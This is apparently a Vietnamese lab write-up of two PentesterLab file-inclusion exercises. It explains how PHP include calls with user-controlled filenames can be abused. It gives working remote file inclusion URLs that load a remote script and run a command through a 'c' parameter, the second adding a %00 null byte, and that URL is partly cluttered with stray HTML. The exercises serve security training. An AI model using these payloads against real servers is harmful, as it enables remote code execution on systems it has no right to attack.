File Include 01 – File Include Vulnerabilities
Trong rất nhiều ứng dụng, các nhà phát triển cần bao gồm các tệp để tải các lớp hoặc để chia sẻ một số mẫu giữa nhiều trang web.
Các lỗ hổng bao gồm tệp xuất phát từ việc thiếu bộ lọc khi tham số do người dùng kiểm soát được sử dụng như một phần của tên tệp trong lệnh gọi đến một hàm bao gồm (ví dụ: request, request_once, include hoặc include_once trong PHP). Nếu lệnh gọi đến một trong những phương thức này dễ bị tấn công, kẻ tấn công sẽ có thể thao tác chức năng để tải mã của chính mình. Tệp bao gồm các lỗ hổng cũng có thể được sử dụng như một phương tiện truyền tải thư mục để đọc các tệp tùy ý. Tuy nhiên, nếu mã tùy ý chứa thẻ PHP mở, tệp sẽ được hiểu là mã PHP.
1 |
https://ptl-0dd88f21-1d139e83.libcurl.st/?page=http://assets.pentesterlab.com/test_include_system.txt&c=/usr/local/bin/score%2078a02cad-6b9e-4f38-8b26-2176490366c0 |
File Include 02
Giống hệt phần một nhưng phần đuôi file đã được xử lý để ẩn đi, do đó cần thêm %00 vào sau:
1 |
https://ptl-4c9032f2-aedf327f.libcurl.st/?page=http://assets.pentesterlab.com/test_include_system.txt<strong><a href="https://ptl-4c9032f2-aedf327f.libcurl.st/?page=http://assets.pentesterlab.com/test_include_system.txt%00&c=/usr/local/bin/score%2078a02cad-6b9e-4f38-8b26-2176490366c0">%00</a></strong>&c=/usr/local/bin/score%2078a02cad-6b9e-4f38-8b26-2176490366c0 |
Rất may là phần nhàm chán là đã kết thúc, chỉ có 2 phần thôi 😀